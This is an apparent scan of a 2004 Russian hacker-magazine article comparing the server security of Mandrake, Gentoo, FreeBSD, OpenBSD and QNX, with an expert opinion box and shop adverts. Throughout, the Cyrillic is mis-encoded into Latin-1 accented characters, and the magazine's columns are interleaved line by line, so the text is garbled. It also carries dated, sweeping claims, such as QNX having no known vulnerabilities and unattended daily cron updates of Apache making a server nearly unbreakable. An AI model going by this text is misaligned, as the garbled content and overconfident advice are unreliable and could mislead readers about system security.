                                   êè âàæíûå ñèñòåìû. Èòàê, ÎÑ äîëæíà      åò îáíîâëÿòü âñþ ñèñòåìó, èñïîëüçóÿ       www.mandrakelinux.com
                                   èìåòü æåñòêóþ ïîëèòèêó ðàçãðàíè÷å-      âñåãî îäíó êîìàíäó. Âòîðîé ïåðñïåê-           Ïîïóëÿðíûé äèñòðèáóòèâ Linux íà
                                   íèÿ äîñòóïà, äîëæíû áûòü âñòðîåííûå     òèâíîé ðåàëèçàöèåé BSD-ìîäåëè ñòà-        ðàáî÷åì ñòîëå. Î äðóæåñòâåííîñòè
                                   èëè ïîäêëþ÷àåìûå ñðåäñòâà äëÿ ñîç-      ëà OpenBSD. Ìîé âûáîð ïàë èìåííî          ïðîäóêòîâ ýòîé êîìïàíèè ãîâîðèò
                                   äàíèÿ êîìïëåêñîâ firewall, íåîáõîäèìî   íà ýòó ñèñòåìó, ïîòîìó ÷òî åå ñîçäàòå-    âåñü èíòåðíåò. À ÷òî æå ñ áåçîïàñ-
                                   ÏÎ äëÿ îòðàæåíèÿ àòàê, íàëè÷èå ðåãó-    ëè èçíà÷àëüíî ãîòîâÿò ñâîå äåòèùå ê       íîñòüþ? Óæå â íà÷àëå óñòàíîâêè
                                   ëÿðíûõ îáíîâëåíèé, âîçìîæíîñòü          ðàáîòå â ñëîæíåéøèõ ñåòåâûõ óñëî-         ìîæíî ñäåëàòü âûáîð: òèï expert èëè
                                   áûñòðîãî îáíàðóæåíèÿ âçëîìîâ.           âèÿõ: «Âîò óæå íåñêîëüêî ëåò, êàê íå      îáû÷íûé. Ñëåäóåò îòäàòü ïðåäïî÷òå-
                                     Âçãëÿíåì íà ðûíîê ÎÑ ñåãîäíÿøíå-      áûëî çàðåãèñòðèðîâàíî íè îäíîãî           íèå ïåðâîìó âàðèàíòó: ÷óòü áîëüøå
                                   ãî äíÿ. Ìîé âûáîð ïàë íà ñëåäóþùèå      óäàëåííîãî âçëîìà ìàøèí, ðàáîòàþ-         âîçìîæíîñòåé äëÿ òîíêîé íàñòðîéêè
                                   äèñòðèáóòèâû: Mandrake 10 Official,     ùèõ ïîä óïðàâëåíèåì OpenBSD â êîí-        ÎÑ ïðè èíñòàëëÿöèè. Ïîæàëóé, ñàìûì
                                   Gentoo Linux 2004.2, FreeBSD 5.1,       ôèãóðàöèè ïî óìîë÷àíèþ». È ïîñëåä-        ãëàâíûì ýòàïîì âî âñåé óñòàíîâêå
                                   OpenBSD 3.5, QNX 6.2.1.                 íÿÿ ñèñòåìà, î êîòîðîé ïîéäåò ðå÷ü â      äëÿ íàñ ñòàíåò âûáîð óðîâíÿ áåçîïàñ-
                                                                           íàøåì îáçîðå, – QNX. Ýòî äàæå íå          íîñòè. Èìåííî òàê MandrakeSoft ïîä-
                                   INTRO                                   UNIX â òîì ïîíèìàíèè, êîòîðîå áëèçêî      ãîòîâèëà ñâîé äèñòðèáóòèâ ê ñåðâåð-
                    Íà òåêóùèé         Íàì íóæåí ìàêñèìàëüíî áåçîïàñ-      íàì. QNX - êîììåð÷åñêàÿ ÎÑ æåñòêîãî       íîìó ðûíêó. Ïåðâûé è ñàìûé ïðîñòîé
                    ìîìåíò ïîñ-    íûé è ñòàáèëüíûé äèñòðèáóòèâ. Ñà-
                    ëåäíÿÿ âåð-
                    ñèÿ QNX -      ìûå ïîïóëÿðíûå äèñòðèáóòèâû Linux
                    6.3            áàçèðóþòñÿ íà RPM-ïàêåòàõ. Ïðåäñòà-
                                   âèòåëåì ìèðà RPM-base ñòàë ïîñëåä-
                                   íèé ðåëèç Mandrake. ß âûáðàë åãî ïî
                                   íåñêîëüêèì ïðè÷èíàì: âñå êîìïîíåí-
                                   òû äèñòðèáóòèâà ïðîõîäÿò òùàòåëü-
                    www.freeb-     íîå òåñòèðîâàíèå íà ñîâìåñòèìîñòü,
                    sd.org/ru/in   èñïîëüçóåòñÿ ñîáñòâåííàÿ ìîäåëü
                    dex.html -
                    ðóññêàÿ        âçàèìîäåéñòâèÿ ñ ïîëüçîâàòåëÿìè,
                    âåðñèÿ îôè-    âûñîêàÿ ñòàáèëüíîñòü, ïðîâåðåííàÿ
                    öèàëüíîãî
                    ñàéòà          ãîäàìè. Ìîæíî áûëî èñïîëüçîâàòü
                    FreeBSD.       êàíîíè÷åñêèé Red Hat, íî ïîëèòèêà,
                                   íàïðàâëåííàÿ íà çàðàáàòûâàíèå äå-
                                   íåã, îòõîäèò îò êëàññè÷åñêîé UNIX-ìî-
                                   äåëè, ÷òî ÿâíî íå â ïîëüçó âñåé Ôå-
                                   äîðû. Â îáçîðå åñòü åùå îäèí âàðè-
                                   àíò Linux-ñèñòåì - Gentoo 2004.2. Ýòî
                                   êëàññè÷åñêèé source-base äèñòðèáó-
                                   òèâ. Ïðè óñòàíîâêå òàêîé ñèñòåìû òû
                                   ïîëíîñòüþ ñàì çàêëàäûâàåøü âñþ áå-
                                   çîïàñíîñòü õîñòà. Êðîìå ýòîãî, â
                                   Gentoo î÷åíü õîðîøî ïðîäóìàíà ñõå-
                                   ìà îáíîâëåíèÿ ÏÎ ÷åðåç èíòåðíåò,
                                   ÷òî ïîçâîëÿåò âñåãäà èñïîëüçîâàòü        Âîò òàê âûãëÿäèò QNX; èäåò ïðîöåññ êîíôèãóðèðîâàíèÿ ñîôòèíû

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                13


óðîâåíü – ñòàíäàðòíûé. Ýòîò âàðèàíò    áàéòíûå ëîãè ñâîèõ äåéñòâèé íå âîç-     àëèçóåòñÿ ñ ïîìîùüþ îáÿçàòåëüíîé
ïðàêòè÷åñêè íå ïðåäóñìàòðèâàåò íè-     íèêíåò íèêàêîãî æåëàíèÿ. Òàêæå âîç-     óñòàíîâêè ïàêåòà iptables – ñèñòåìû




                                                                                                                                       ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
êàêîãî êîíòðîëÿ íàä áåçîïàñíîñòüþ      ìîæåí íåïîñðåäñòâåííûé âõîä ïîëü-       Firewall. Mandrake ïîñòàðàåòñÿ àâòî-
ñèñòåìû. Òàê, ëþáîé ïîëüçîâàòåëü       çîâàòåëÿ root ïðÿìî ïî SSH èëè ñ òåð-   ìàòè÷åñêè âûáðàòü íåîáõîäèìûå ïðà-
ñìîæåò ÷èòàòü ïðîèçâîëüíûå êàòàëî-     ìèíàëà, ÷òî êîìó-òî óäîáíî, íî íà ñà-   âèëà è ïðèìåíèòü èõ äëÿ äàííîãî õîñ-
ãè, êðîìå äîìàøíèõ äèðåêòîðèé äðó-     ìîì äåëå î÷åíü îïàñíî. Êàê âèäèøü,      òà. Ïðè÷åì ó ôàåðâîëà áóäåò àêòèâè-
ãèõ þçåðîâ. Êðîìå ýòîãî, íåêîòîðûå     ïåðâûé óðîâåíü îðèåíòèðîâàí íà äî-      ðîâàíà îïöèÿ, îòâå÷àþùàÿ çà îòðà-
ïîëüçîâàòåëè ñìîãóò ïðîñìîòðåòü ñî-    ìàøíåå èñïîëüçîâàíèå è íà çâàíèå        æåíèÿ ïîïûòîê ñêàíèðîâàíèÿ ïîðòîâ
äåðæèìîå êîíôèãóðàöèîííûõ ôàé-         ñåêüþðíîãî âàðèàíòà äàæå íå ïðåòåí-     - ïðàêòè÷åñêè íè îäèí ïîðò-ñêàíåð íå
ëîâ /etc. Ïîëíîñòüþ îòñóòñòâóþò ïðî-   äóåò. Ñëåäóþùèé óðîâåíü – âûñîêèé       ñìîæåò îïðåäåëèòü íàëè÷èå ðàáîòàþ-
âåðêè íà íîâûå/èçìåíèâøèåñÿ ôàé-       - òàêæå ðàññ÷èòàí íà äîìàøíåå èñ-       ùèõ ñåðâèñîâ. Òàêèì îáðàçîì, ïàðà-
ëû â ñèñòåìå: ðàçðàáîò÷èêè ñ÷èòàþò,    ïîëüçîâàíèå è ïîýòîìó íàñ òîæå íå       íîèäàëüíûé óðîâåíü ñòàðàåòñÿ ñîç-
÷òî çà äåíü ñòîëüêî ñîôòà íàñòà-       èíòåðåñóåò. Ïîæàëóé, åäèíñòâåííûì       äàòü äåéñòâèòåëüíî çàùèùåííóþ
âèøü/íàóäàëÿåøü, ÷òî ÷èòàòü ìåãà-      ïðèåìëåìûì âàðèàíòîì ñòàíåò ïàðà-       êðåïîñòü êàê äëÿ àòàê èçâíå, òàê è äëÿ
                                       íîèäàëüíûé óðîâåíü. Äëÿ ñåðâåðîâ        ëîêàëüíûõ âçëîìîâ ;).
                                       ñëåäóåò èñïîëüçîâàòü òîëüêî åãî. Âîò
                                       ÷òî îí äàåò: íåâîçìîæåí íåïîñðåä-       LINUX GENTOO
                                       ñòâåííûé âõîä ïîëüçîâàòåëåì root,       www.gentoo.org
                                       íèêòî íå ìîæåò ÷èòàòü êîðíåâóþ ôàé-          Ýòî, ÈÌÕÎ, îäèí èç ëó÷øèõ äèñò-
                                       ëîâóþ ñèñòåìó – ó âñåõ ôàéëîâ è êà-     ðèáóòèâîâ Linux ïî âñåì ïàðàìåòðàì.
                                       òàëîãîâ âûñòàâëåíû ïðàâà íà ÷òåíèå      Äîñòàòü ñèñòåìó î÷åíü ïðîñòî: åå
                                       òîëüêî äëÿ root. Êðîìå ýòîãî, ïðîèç-    ìîæíî ñêà÷àòü èç èíòåðíåòà (www.gen-
                                       âîäèòåëè çíà÷èòåëüíî ïðîðàáîòàëè        too.org) ëèáî çàêàçàòü 2 CD â Linux-
                                       ìåõàíèçì äåìîíîâ - íà ýòîì óðîâíå       öåíòðå (www.linuxcenter.ru). Óñòàíîâêà
                                       ïîëíîñòüþ ðåàëèçîâàíà ìîäåëü áåçî-      Äæåíòó ðàäèêàëüíî îòëè÷àåòñÿ îò
                                       ïàñíîñòè “êàæäîìó äåìîíó ïî ïîòðåá-     àíàëîãè÷íîé ïðîöåäóðû â Mandrake-
                                       íîñòÿì”, òî åñòü ëþáîé ñåðâèñ áóäåò     like-äèñòðèáóòèâàõ. Â ýòîé ñáîðêå òå-
                                       çàïóñêàòüñÿ îò ñâîåé ó÷åòíîé çàïèñè.    áå ïðèäåòñÿ âñå äåëàòü ðóêàìè è êîí-      Gentoo
                                       Åùå êàæäóþ íî÷ü áóäóò ïðîâîäèòüñÿ       ñîëüþ. Èìåííî ïîýòîìó íå èìååò            Linux âçÿë
                                                                                                                         âñå ëó÷øåå
                                       àâòîìàòè÷åñêèå ïðîâåðêè íà áýêäîðû      ñìûñëà ãîâîðèòü î çàðàíåå ïðåäóñòà-       è îò BSD -
                                       è ðóòêèòû – ïðè ëþáûõ èçìåíåíèÿõ        íîâëåííûõ óðîâíÿõ áåçîïàñíîñòè -          ñêðèïòû
                                                                                                                         èíèöèàëèçà-
                                       ôàéëîâîé ñèñòåìû ñîñòàâëÿåòñÿ ïðî-      èõ ïðîñòî íåò. Âåñü ïðîöåññ èíñòàë-       öèè è ñèñ-
 Ñòàíäàðòíàÿ çâîíèëêà QNX. Ïðîñòàÿ è   òîêîë, êîòîðûé îòïðàâëÿåòñÿ àäìèíè-     ëÿöèè òû ïðîâîäèøü ñàì, è åñëè òâîè       òåìó ïîð-
 î÷åíü ìîùíàÿ                                                                                                            òîâ, è îò
                                       ñòðàòîðó. Çàùèòà îò âíåøíèõ àòàê ðå-    çíàíèÿ Linux îãðàíè÷èâàþòñÿ óðîâ-         Linux -
                                                                               íåì KDE, òî íè î êàêîé áåçîïàñíîé         ïðîñòîòó è
  ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ                                                              ñèñòåìå äàæå íå ìå÷òàé. Ýòî ÿ íå ê        óäîáñòâî.
                                                                               òîìó, ÷òî óñòàíîâèòü Gentoo òðóäíî, à
                                                                               ê òîìó, ÷òî ñîçäàòü çàùèùåííûé õîñò
    Àíòîí Êàðïîâ, ñïåöèàëèñò ïî ñåòåâîé áåçîïàñíîñòè, ñèñòåìíûé
                                                                               íà åãî áàçå íîâè÷êó ñëîæíåå. Íî, åñ-
  àäìèíèñòðàòîð:                                                               ëè òû âëàäååøü ñåêðåòàìè Linux â
                                                                               äîñòàòî÷íîé ñòåïåíè, òî Äæåíòó -          Ãëàâíûé
  «Ðàçíèöà ìåæäó BSD è Linux äîëæíà áûòü ïîíÿòíà êàæäîìó: ïåðâîå                                                         ïëþñ
                                                                               äëÿ òåáÿ. Âîò ïî÷åìó ÿ âûáèðàþ åãî:       Mandrake –
  åñòü ïîëíîöåííàÿ ÎÑ, âòîðîå - ëèøü ÿäðî îïåðàöèîííîé ñèñòåìû.                ïîñëå óñòàíîâêè íà ìîåì ñåðâåðå           ïðîñòîòà è
  Èç-çà ýòîãî ôóíäàìåíòàëüíîãî ðàçëè÷èÿ âàðèàöèè äèñòðèáóöèé                   åñòü òîëüêî òî, ÷òî ÿ ñàì âûáðàë èç       äîñòóï-
                                                                                                                         íîñòü.
  BSD ìîæíî ñîñ÷èòàòü ïî ïàëüöàì, òîãäà êàê äèñòðèáóòèâîâ Linux êàê            èñõîäíèêîâ. Òî åñòü íèêàêèõ ëåâûõ è
  ñîáàê íåðåçàíûõ. ×òî æå ëó÷øå ñ òî÷êè çðåíèÿ áåçîïàñíîñòè? Íà-               áàæíûõ ñåðâèñîâ íå áóäåò. Íàïðè-
                                                                               ìåð, åñëè ýòî ïî÷òîâûé ñåðâåð, òî íà
  âåðíîå, èìåÿ ïîëíîå îêðóæåíèå (ÿäðî, userland, äåìîíû, ñèñòåìíûå
                                                                               íåì è áóäåò óñòàíîâëåí ñàìûé ñâå-
  óòèëèòû), ïîñòðîèòü çàùèùåííóþ ñèñòåìó ëåã÷å, òàê êàê ïðîùå ðà-              æèé postfix, ñîáðàííûé èç ñîðöîâ, ñ
                                                                                                                         25 ìàÿ
  áîòàòü ñ ãàðìîíè÷íûì íàáîðîì èñõîäíèêîâ, ðàñïîëàãàþùèìñÿ â                   îïòèìèçàöèåé è ïîâûøåííîé çàùè-           2004 ãîäà
  åäèíîì äåðåâå (/usr/src) è ïîäãîíÿåìûì äðóã ê äðóãó ãîäàìè. Âñå æå,          òîé. Âñÿêèõ àïà÷åé è äæàááåðîâ íå         ñòàë äîñòó-
                                                                                                                         ïåí äëÿ
  ÷òî ìîæíî äîáàâèòü ê ÿäðó Linux, - ýòî ïàò÷è, óñèëèâàþùèå åãî èì-            áóäåò äàæå â ïðîåêòå. Òàêîé ïîäõîä ê      ñêà÷èâàíèÿ
                                                                               áåçîïàñíîñòè ÎÑ ïîçâîëÿåò äåðæàòü         äåñÿòûé ðå-
  ìóíèòåò. Íî ïîìèìî ýòîãî íóæíî êàê ìèíèìóì îçàáîòèòüñÿ àóäèòîì                                                         ëèç
                                                                               íà ñåðâåðå ìèíèìàëüíûé íàáîð ñà-          Mandrake
  ìíîãî÷èñëåííûõ óòèëèò, íåîáõîäèìûõ äëÿ ðàáîòû ñåðâåðà è íàïè-                ìûõ íåîáõîäèìûõ äåìîíîâ. Íî ñîç-          Linux.
  ñàííûõ ðàçíûìè ëþäüìè, ñ ðàçíûì ñòèëåì ïðîãðàììèðîâàíèÿ, ïîä-                äàòü Linux èñêëþ÷èòåëüíî ïîä ñâîè »
  ÷àñ ñ ðàçíîé èäåîëîãèåé. Ïîýòîìó, íàâåðíîå, security-ïàò÷åé äëÿ ÿä-
  ðà Linux îãðîìíîå êîëè÷åñòâî, îäíàêî çàñëóæèâàþùèõ âíèìàíèå
  security-oriented äèñòðèáóòèâîâ - ìíîãî ìåíüøå. Ìàêñèìóì, ÷òî äå-
  ëàþò èõ âåíäîðû, - ïðîâîäÿò àíàëèç êîäà äà ñîáèðàþò ïàêåòû êîì-
  ïèëÿòîðîì ñ çàùèòîé îò ïåðåïîëíåíèÿ ñòåêà. Òàêèå ïðîåêòû, êàê
  privilege separation, system calls enforcement, jail, ðîæäàþòñÿ ëèáî
  äîâîäÿòñÿ äî óìà èìåííî â BSD-ñèñòåìàõ (OpenBSD, FreeBSD).
  Îäíàêî åñëè îòîéòè îò êëàññè÷åñêîé ìîäåëè áåçîïàñíîñòè UNIX â
  ìàíäàòíûå ìîäåëè è òðåáîâàòü ðåàëèçàöèþ MAC, DTE, RBAC, òî êîí-
  ñåðâàòèâíàÿ BSD çäåñü áåçðîïîòíî îòäàåò èíèöèàòèâó Linux, â ìèðå
  êîòîðîãî ïîìèìî òåõ æå ïàò÷åé (SeLinux, RSBAC) ñóùåñòâóþò öåëûå
  ïðîåêòû (Gentoo SeLinux), íàïðàâëåííûå íà ïîñòðîåíèå çàêîí÷åí-
  íîé ñèñòåìû, óäîâëåòâîðÿþùåé ñîâåðøåííî íîâîìó ïî êà÷åñòâó
  êëàññó áåçîïàñíîñòè.»
                                                                                Ðàáî÷èé ñòîë â QNX. Ïîðòèðîâàííûé mc çàïóùåí â
                                                                                êîíñîëè
                                      14     ÒÅÎÐÈß         ÎÑ ÄËß ÊÐÅÌËß
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                                                                Â îñíîâå OpenBSD ëåæàò õîðîøî
                                                                            ïðîâåðåííûå è îòëàæåííûå èñõîäíûå êîäû.

                                                                            FREEBSD                                  âèòü íåîáõîäèìûå äåìîíû. Ïðîñòî â
                                                                            www.freebsd.org                          OpenBSD ñòàâèòñÿ òîëüêî ñàìîå íå-
                                                                                Âîò äîáðàëèñü è äî ïðÿìûõ ïîòîì-     îáõîäèìîå äëÿ çàïóñêà. Âñå äîïîë-
                                                                            êîâ UNIX. Ïîæàëóé, FreeBSD – ýòî ñà-     íèòåëüíûå äåìîíû è ñåðâèñû àäìè-
                       Íàñòðàèâàåì ñåòåâîé èíòåðôåéñ                        ìûé èçâåñòíûé êëîí UNIX íà ñåãîäíÿ.      íèñòðàòîð äîáàâëÿåò è íàñòðàèâàåò
                                                                            Ðàçðàáîò÷èêè ýòîé ñèñòåìû ñòàðàþòñÿ      ñàì, è ýòî, ïî-ìîåìó, ëó÷øèé ïîäõîä
                                    íóæäû - ýòî òîëüêî ÷àñòü âîçìîæíîñ-     âûïóñêàòü òîëüêî ñòàáèëüíûå è õîðî-      ê áåçîïàñíîñòè. Êðîìå òîãî, â îñíîâå
                                    òåé Gentoo. Îäíàæäû óñòàíîâèâ è         øî îòëàæåííûå ïðîäóêòû. Èìåííî ïî-       OpenBSD ëåæàò òùàòåëüíî ïðîâå-
                                    íàñòðîèâ ñèñòåìó, ìîæíî íàäîëãî çà-     ýòîìó, õîòÿ âñÿ ñèñòåìà äîñòóïíà â èñ-   ðåííûå è îòëàæåííûå èñõîäíûå êî-
                                    áûòü î ïîääåðæàíèè ñåðâåðà â áîåñ-      õîäíûõ êîäàõ, äîáàâëÿòü ïàò÷è è íî-      äû, åæåäíåâíûé àóäèò ïðîãðàììíîãî
                                    ïîñîáíîì ñîñòîÿíèè. Ó íàøåãî ïèíã-      âûå âîçìîæíîñòè â ÿäðî ìîãóò òîëüêî      îáåñïå÷åíèÿ ïðèíîñèò ñâîè ïëîäû:
                                    âèíà åñòü âñòðîåííûå ñðåäñòâà îá-       ðàçðàáîò÷èêè, âõîäÿùèå â îôèöèàëü-       çà íåñêîëüêî ïîñëåäíèõ ëåò íå áûëî
                                    íîâëåíèÿ è óñòàíîâêè ÏÎ ïðÿìî èç        íóþ ãðóïïó ïîääåðæêè ïðîåêòà. Ýòî        çàðåãèñòðèðîâàíî íè îäíîãî âçëîìà
                                    èíòåðíåòà, áåç ó÷àñòèÿ àäìèíèñòðàòî-    îòëè÷àåò FreeBSD îò âñåõ îñòàëüíûõ       (â äåôîëòîâîé êîíôèãóðàöèè). Ñóù-
                                    ðà! Èìåííî ïîýòîìó ÿ ñ÷èòàþ Gentoo      ñèñòåì Open Source. Ñîçäàòåëè íàöå-      íîñòü àóäèòà OpenBSD äîñòàòî÷íî
                                    ñàìûì ñåêüþðíûì äèñòðèáóòèâîì           ëèâàþò ñâîé ïðîäóêò íà ñåðâåðíûé         ïðîñòà: ñóùåñòâóåò íåáîëüøàÿ ãðóï-
                                    Linux íà ñåãîäíÿøíèé äåíü. Äîêàæó       ðûíîê: âî âðåìÿ óñòàíîâêè ó òåáÿ áó-     ïà âûñîêîêâàëèôèöèðîâàííûõ IT-
                                    òåáå ýòî, ðàñêðûâ ñóùíîñòü ïðîöåññà     äóò ñïðîøåíû íå òîëüêî ñåòåâûå ïà-       ñïåöèàëèñòîâ, êîòîðûå ïîñòîÿííî
                                    îáíîâëåíèÿ ÎÑ. Óñòàíîâêà íîâîãî ÏÎ      ðàìåòðû, íî è òî, êàêèå ñåðâèñû òåáå     àíàëèçèðóþò èñõîäíûå êîäû âñåé
                                    íà ìàøèíó ñ Gentoo ïðîèñõîäèò ñ ïî-     íåîáõîäèìû, è äàæå áóäåò ïðåäëîæå-       ñèñòåìû. È åñëè ó÷èòûâàòü, ÷òî îíè
                                    ìîùüþ óòèëèòû emerge. Ïðèíöèï ðà-       íî îðãàíèçîâàòü FTP-äîñòóï ñðàçó         ïðåäëàãàþò òîëüêî áàçîâóþ êîíôè-
                                    áîòû ýòîé ïðîãðàììû î÷åíü ïðîñò:        ïîñëå èíñòàëëà. Ïðè ïåðâîì çàïóñêå       ãóðàöèþ, òî ìîæíî âåðèòü, ÷òî ïðî-
                    OpenBSD         êîãäà root (èëè ñrond) îòäàåò êîìàíäó   íåîáõîäèìî íà÷àòü îáóñòðàèâàòü çà-       âåðêà áóäåò ïðîâåäåíà î÷åíü êà÷åñò-
                    ïðåäñòàâëÿ-
                    åò ñîáîé        “emerge Èìÿ_Ïðîãðàììû”, ñèñòåìà         ùèòó ñåðâåðà. Ñèñòåìà ïîçâîëèò ïðî-      âåííî. Ïðåäåëüíî ñèëüíàÿ âíóòðåí-
                    ìèíèìàëüíî      èäåò â èíòåðíåò, ñêà÷èâàåò ñîðöû        âåñòè êîå-êàêèå íàñòðîéêè è ñ ïî-        íÿÿ çàùèòà ïîäêðåïëÿåòñÿ ïåðåðà-
                    íåîáõîäè-       ýòîé ïðîãðàììû ñ ñàéòà ïîääåðæêè        ìîùüþ óòèëèòû /stand/sysinstall. Íî      áîòàííûì è óñëîæíåííûì êîìïëåê-
                    ìûå êîìïî-
                    íåíòû ñèñ-      Gentoo, êîìïèëèðóåò è óñòàíàâëèâàåò     òàì ïðåäñòàâëåí î÷åíü è î÷åíü ñêóä-      ñîì Firewall. È äîïîëíÿåò îáùóþ êàð-
                    òåìû, íî        áèíàðíèêè. Âñå ïðîèñõîäèò â ïîë-        íûé íàáîð èíñòðóìåíòîâ. Âñþ íàñò-        òèíó óêðåïëåííîñòè ñîáñòâåííûé
                    îíè ïðå-
                    äåëüíî ñòà-     íîñòüþ àâòîìàòè÷åñêîì ðåæèìå. À         ðîéêó ÎÑ íóæíî ïðîâîäèòü ðó÷íîé          ñàéò, íà êîòîðîì åæåäíåâíî âûñòàâ-
                    áèëüíû.         åñëè ó÷åñòü, ÷òî ñîôò äëÿ Äæåíòó îá-    ïðàâêîé êîíôèãîâ. È õîòÿ ðàçðàáîò-       ëÿþòñÿ âñå îáíîâëåíèÿ äëÿ òåêóùåé
                                    íîâëÿåòñÿ ïðàêòè÷åñêè êàæäûé äåíü,      ÷èêè ïîñòàðàëèñü ñíàáäèòü FreeBSD        âåðñèè ñèñòåìû. Íåïðèõîòëèâàÿ ê
                                    òî òû ïîéìåøü, ÷òî ãðàìîòíûé àäìèí      ïîäðîáíîé äîêóìåíòàöèåé íà àíã-          êâàëèôèêàöèè àäìèíà êàê IT-ñïåöèà-
                                    è Gentoo Linux ñîçäàäóò ñóïåðñåêü-      ëèéñêîì ÿçûêå, îíè íå ó÷ëè òîãî, ÷òî     ëèñòà, OpenBSD çàâîåâûâàåò ðûíîê
                                    þðíûé ñåðâåð. Äîñòàòî÷íî îäèí ðàç       äëÿ ñîçäàíèÿ çàùèùåííîãî õîñòà íå-       çà ñ÷åò ñâîåé ïîäãîòîâëåííîé ãðà-
                    Ïåðâûì          ðàçîáðàòüñÿ âî âñåì è íàñòðîèòü, ê      îáõîäèìî çàòðàòèòü îãðîìíîå êîëè÷å-      ìîòíîé íàñòðîéêè. Òàêèì îáðàçîì,
                    ñòàáèëüíûì      ïðèìåðó, òîò æå Apache, à ïîòîì çà-     ñòâî âðåìåíè íà ïåðåëîïà÷èâàíèå          ëó÷øèì ñåêüþðíûì äèñòðèáóòèâîì
                    ðåëèçîì
                    FreeBSD         ïèñàòü â Crontab êîìàíäó “emerge        êîíôèãóðàöèîííûõ ôàéëîâ. À åñëè          ëèíåéêè BSD ÿâëÿåòñÿ OpenBSD: äëÿ
                    ïÿòîé âåòêè     Apache” íà åæåäíåâíîå âûïîëíåíèå,       òû íå ïðîôåññèîíàë, òî è íà ÷òåíèå       ìàñòåðîâ îíà ïîêàæåò ìîùü è ñòà-
                    ñòàíåò
                    FreeBSD         è âñå! Âçëîìàòü ñèñòåìó ÷åðåç óÿçâè-    îãðîìíîé êó÷è äîêóìåíòàöèè. Èñïîëü-      áèëüíîñòü UNIX ñ âîçìîæíîñòüþ ãèá-
                    5.3. Äàòà       ìîñòü â Apache ñòàíåò ïðàêòè÷åñêè       çîâàíèå åå íà ñåðâåðå îïðàâäàííî         êîé íàñòðîéêè, à äëÿ íîâè÷êîâ - çà-
                    âûõîäà –        íåâîçìîæíî (íà êàæäûé íåóÿçâèìûé        òîëüêî â òîì ñëó÷àå, åñëè òâîè çíàíèÿ    ùèùåííîñòü è îòêàçîóñòîé÷èâîñòü
                    3 îêòÿáðÿ
                    2004 ãîäà.      Àïà÷ íàéäåòñÿ ñâîé ïðèâàòíûé            èìåííî ýòîé ñèñòåìû òåáå ýòî ïîçâî-      ïðÿìî “èç êîðîáêè”.
                                    ýêñïëîèò :) - ïðèì. AvaLANche'à)!       ëÿþò. Ñòàáèëüíîñòü õîñòà ïîä
                                                                            FreeBSD áóäåò îïðåäåëÿòüñÿ íå áåçã-      QNX
                                                                            ëþ÷íîñòüþ ñîôòà, à ãðàìîòíîñòüþ àä-      www.qnx.com
                                                                            ìèíà. Ïðàêòè÷åñêè âñå âçëîìû ýòîé            ß íå ñëó÷àéíî ïîñòàâèë ýòó ÎÑ
                                                                            ÎÑ èìåëè â ñâîåé îñíîâå íå îøèáêè â      ïîñëåäíåé â îáçîðå – îíà íå êëîí
                                                                            äåìîíàõ, à íåïðàâèëüíîå àäìèíèñòðè-      UNIX. Ýòî ñàìîñòîÿòåëüíàÿ ÎÑ, è
                                                                            ðîâàíèå. ß áû íå ðåêîìåíäîâàë ñòà-       î÷åíü çàíÿòíàÿ. Ðàçðàáîòêè ýòîé
                                                                            âèòü Ôðÿõó àäìèíàì ñðåäíåé ðóêè –        ñèñòåìû âåäóòñÿ óæå áîëåå äâàäöà-
                                                                            ìîæåò íå õâàòèòü âðåìåíè íà ðåàëè-       òè ëåò. Ïðîåêò ïîëíîñòüþ çàêðûòûé,
                                                                            çàöèþ ìå÷òû î çàùèùåííîì ñåðâåðå.        êîììåð÷åñêèé. Ëèöåíçèÿ íà QNX äëÿ
                                                                            Çëûå íåãîäíèêè ïîëîìàþò ñèñòåìó,         ðàçðàáîò÷èêà ñòîèò 6000$. ß íå
                                                                            ïðåæäå ÷åì àäìèí óñïååò ðàçîáðàòü-       îøèáñÿ - èìåííî äîëëàðîâ, öåíà æå
                                                                            ñÿ ñî âñåìè òîíêîñòÿìè íàñòðîéêè.        ïîëíîé âåðñèè ïåðåâàëèâàåò çà 15
                                                                                                                     êèëîáàêñîâ. Íî ñóùåñòâóåò íåêîì-
                                                                            OPENBSD                                  ìåð÷åñêàÿ âåðñèÿ, äîñòóïíàÿ áåñï-
                                                                            www.openbsd.org                          ëàòíî. Â ñâîáîäíîé âåðñèè åñòü
                                                                                OpenBSD - îáùåïðèçíàííûé ëè-         ïðàêòè÷åñêè âñå íåîáõîäèìîå äëÿ
                                                                            äåð ïî áåçîïàñíîñòè. Òåêóùàÿ âåð-        ðàáîòû äàííîé ÎÑ íà ñåðâåðå, âêëþ-
                                                                            ñèÿ - 3.5. Óñòàíîâêà ýòîé ñèñòåìû        ÷àÿ ñðåäñòâà äëÿ ñáîðêè GNU-ïðîã-
                                                                            ïðîòåêàåò àíàëîãè÷íî óñòàíîâêå           ðàìì. Ñàìîå ãëàâíîå â ýòîé ñèñòåìå
                                                                            âñåõ îñòàëüíûõ BSD ñ òåì ëèøü îò-        – òî, ÷òî îíà ïîëíîñòüþ îòâå÷àåò
                                                                            ëè÷èåì, ÷òî âñå ïðîíèçàíî äóõîì áå-      òðåáîâàíèÿì ÎÑ ðåàëüíîãî âðåìåíè,
                                                                            çîïàñíîñòè. Ïîñëå èíñòàëëà îñòàåòñÿ      òî åñòü ÿäðî â ïðèíöèïå íå ìîæåò
                    Âûáèðàåì óðîâåíü áåçîïàñíîñòè                           íå òàê óæ ìíîãî: ñêà÷àòü è óñòàíî-       çàâèñíóòü íè ïðè êàêèõ îáñòîÿòåëü-
                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                ÈÃÐÛ
                                                                                                 ÏÎ ÊÀÒÀËÎÃÀÌ
                                                                                                 Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ
                                                             www.gamepost.ru                                           www.e-shop.ru
                                                                                                                     PC Accessories
                                                             ÐÅÀËÜÍÅÅ,
                                                                     ×ÅÌ Â ÌÀÃÀÇÈÍÅ
 Ñðåäñòâî óñòàíîâêè è íàñòðîéêè FreeBSD                        ÁÛÑÒÐÅÅ,                                   ×ÅÌ ÒÛ ÄÓÌÀÅØÜ

ñòâàõ ;). È, êðîìå ýòîãî, äàííàÿ ÎÑ ãàðàíòèðóåò îòâåò ñåð-
âåðà ÷åðåç î÷åíü ìàëûé ïðîìåæóòîê âðåìåíè. Çà âñþ
èñòîðèþ QNX íå áûëî íàéäåíî íè îäíîé óÿçâèìîñòè â                  $865,99
